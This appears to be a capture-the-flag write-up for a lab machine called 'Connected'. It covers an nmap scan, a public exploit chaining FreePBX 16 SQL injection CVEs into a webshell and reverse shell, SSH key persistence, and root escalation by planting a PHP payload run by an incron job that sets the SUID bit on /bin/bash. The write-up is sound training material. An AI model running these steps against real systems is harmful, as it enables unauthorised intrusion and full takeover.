Connected
Enumeration
We started with our enumeration process with a Nmap scan, this enables us to identify the open ports on the target machine.
Nmap Scan
We utilized the following command to identify the open ports:
1
2
┌──(n0xshell㉿kali)-[~/Connected]
└─$ nmap -A 10.129.111.82
Webpage Enumeration
Based on our Nmap scan, we have identified several open ports including HTTP(s) ports.
We have identified the version of FreePBX: 16.0.40.7. This specific version has known vulnerabilities in its admin configuration interface. Public exploits are available that chain SQL injection vulnerabilities to achieve unauthenticated remote code execution.
Exploitation
FREEPBX16 - Unauthenticated SQLI -> RCE
FreePBX 16.0.40.7 is vulnerable to unauthenticated SQL injection in its admin panel configuration.
CVEs Involved:
CVE-2025-57819- Unauthenticated SQL InjectionCVE-2025-61678- SQL Injection to RCE
We found a proof of concept script on Github which combines both CVEs into one exploit, enabling us to gain user-level access on the target machine.
How the Exploit Works
- SQLi to Admin Creation: The exploit injects SQL to create a new administrator account via stacked queries
- Authentication: Logs in with the newly created admin credentials
- File Upload/Execution: Uses the authenticated session to upload and execute a PHP webshell
- Reverse Shell: The webshell connects back to the attacker’s listener, providing remote code execution
1 2
┌──(n0xshell㉿kali)-[~/Connected/FreePBX-CVE-2025-57819-RCE] └─$ python3 exploit.py --rhost connected.htb --lhost 10.10.15.48 --lport 4444
Post-Exploitation
Post-Enumeration
After we successfully gained user-level access, we upgraded our current shell with an SSH login shell, which enables us to gain a full TTY (functional shell).
SSH authentication is far more reliable than reverse shells. It provides a stable, interactive terminal and allows for proper terminal emulation, which is essential for further enumeration on the target system.
SSH Login
We utilized the following commands to configure SSH for the user asterisk:
1
2
3
4
5
6
7
8
9
# Create SSH directory
bash-4.2$ mkdir -p ~/.ssh
# Add our Public SSH Key
bash-4.2$ echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA/fvaf6Z2PYYiL9t0JZ11w7YTxEtDpKBkObkpI5qBH+ n0xshell@kali" >> ~/.ssh/authorized_keys
# Ensure the permissions are correct set for the directory and file
bash-4.2$ chmod 700 ~/.ssh
bash-4.2$ chmod 600 ~/.ssh/authorized_keys
Identifying Cronjob
One of the crucial items to enumerate during post-enumeration is the running processes, especially those that are running under root. During our enumeration process, we identified an interesting process named: /usr/sbin/incrond
1
[asterisk@connected tmp]$ ps -aux | grep incrond
Incron Daemon
Incron is similar to cron, but instead of running commands on a time schedule, it watches for filesystem events (like file creation, deletion, or modification). When a watched event occurs, incron executes the associated command.
The incron configuration is stored in /etc/incron.d/ and typically runs with root privileges.
Enumerating Identified Cronjob
During our enumeration, we discovered that the legacy file has interesting jobs:
1
2
3
4
[asterisk@connected tmp]$ cat /etc/incron.d/legacy
<SNIP>
/usr/local/asterisk/ha_trigger IN_CLOSE_WRITE /usr/sbin/sysadmin_ha
Understanding Incron Syntax
Each line follows the format: PATH IN_EVENT COMMAND:
- PATH: The file or directory to monitor
- IN_EVENT: The filesystem event (
IN_CLOSE_WRITE= file closed after writing) - COMMAND: The command to execute when the event occurs
The last entry is particularly interesting: monitoring /usr/local/asterisk/ha_trigger and executing /usr/sbin/sysadmin_ha with root privileges.
Investigating the sysadmin_ha Script
We control the ha_trigger file, so we need to examine what /usr/sbin/sysadmin_ha does:
1
2
3
4
5
6
7
8
9
10
11
<?php
if(file_exists("/var/www/html/admin/modules/freepbx_ha/license.php")) {
include_once("/var/www/html/admin/modules/freepbx_ha/license.php");
}
$i = "/var/www/html/admin/modules/freepbx_ha/functions.inc/incron.php";
if (file_exists($i)) {
require_once($i);
$incron = new incron;
$incron->rootTrigger()
Understanding the Original Script
1
2
3
4
5
if(file_exists("/var/www/html/admin/modules/freepbx_ha/license.php")) {
include_once("/var/www/html/admin/modules/freepbx_ha/license.php");
}
- Checks if the license file exists (defensive programming—doesn’t fail if it doesn’t)
include_once()loads the license file if present (typically non-existent)- This doesn’t affect our exploit
1
2
3
4
5
6
7
$i = "/var/www/html/admin/modules/freepbx_ha/functions.inc/incron.php";
if (file_exists($i)) {
require_once($i);
$incron = new incron;
$incron->rootTrigger();
}
This is where the exploitation happens:
file_exists($i)- Checks if our maliciousincron.phpexistsrequire_once($i)- Loads and executes our PHP code with root privilegesnew incron- Creates an instance of theincronclass we defined$incron->rootTrigger()- Calls our malicious method
The script assumes that incron.php is a trusted file that only FreePBX administrators can modify. However:
- The directory
/var/www/html/admin/modules/freepbx_ha/functions.inc/is writable by the asterisk user - We (as the asterisk user) can create our own
incron.phpfile - When incron triggers and runs
/usr/sbin/sysadmin_ha, our code gets executed as root - The script doesn’t validate file ownership, permissions, or content—it blindly includes and executes whatever we put there
Post-Exploitation
Creating the Malicious Payload
Based on the PHP script above, we created the following payload and named it incron.php:
1
2
3
4
5
6
7
8
9
mkdir -p /var/www/html/admin/modules/freepbx_ha/functions.inc/ && cat > /var/www/html/admin/modules/freepbx_ha/functions.inc/incron.php << 'EOF'
<?php
class incron {
public function rootTrigger() {
system('chmod u+s /bin/bash');
}
}
EOF
Detailed Breakdown: Our Malicious PHP Code
1
2
3
4
5
class incron {
public function rootTrigger() {
system('chmod u+s /bin/bash');
}
}
Class Definition:
- We’re creating a class named
incronthat exactly matches the class name the original script expects - This is crucial because the script does
new incron;—if the class didn’t exist, it would error and do nothing
The rootTrigger() Method:
- This method is called directly by the sysadmin_ha script:
$incron->rootTrigger(); - It contains a single command:
system('chmod u+s /bin/bash');
Triggering the Exploit
Incron monitors for the IN_CLOSE_WRITE event, which triggers when a file is closed after being modified. We simply touch the watched file:
1
touch /usr/local/asterisk/ha_trigger







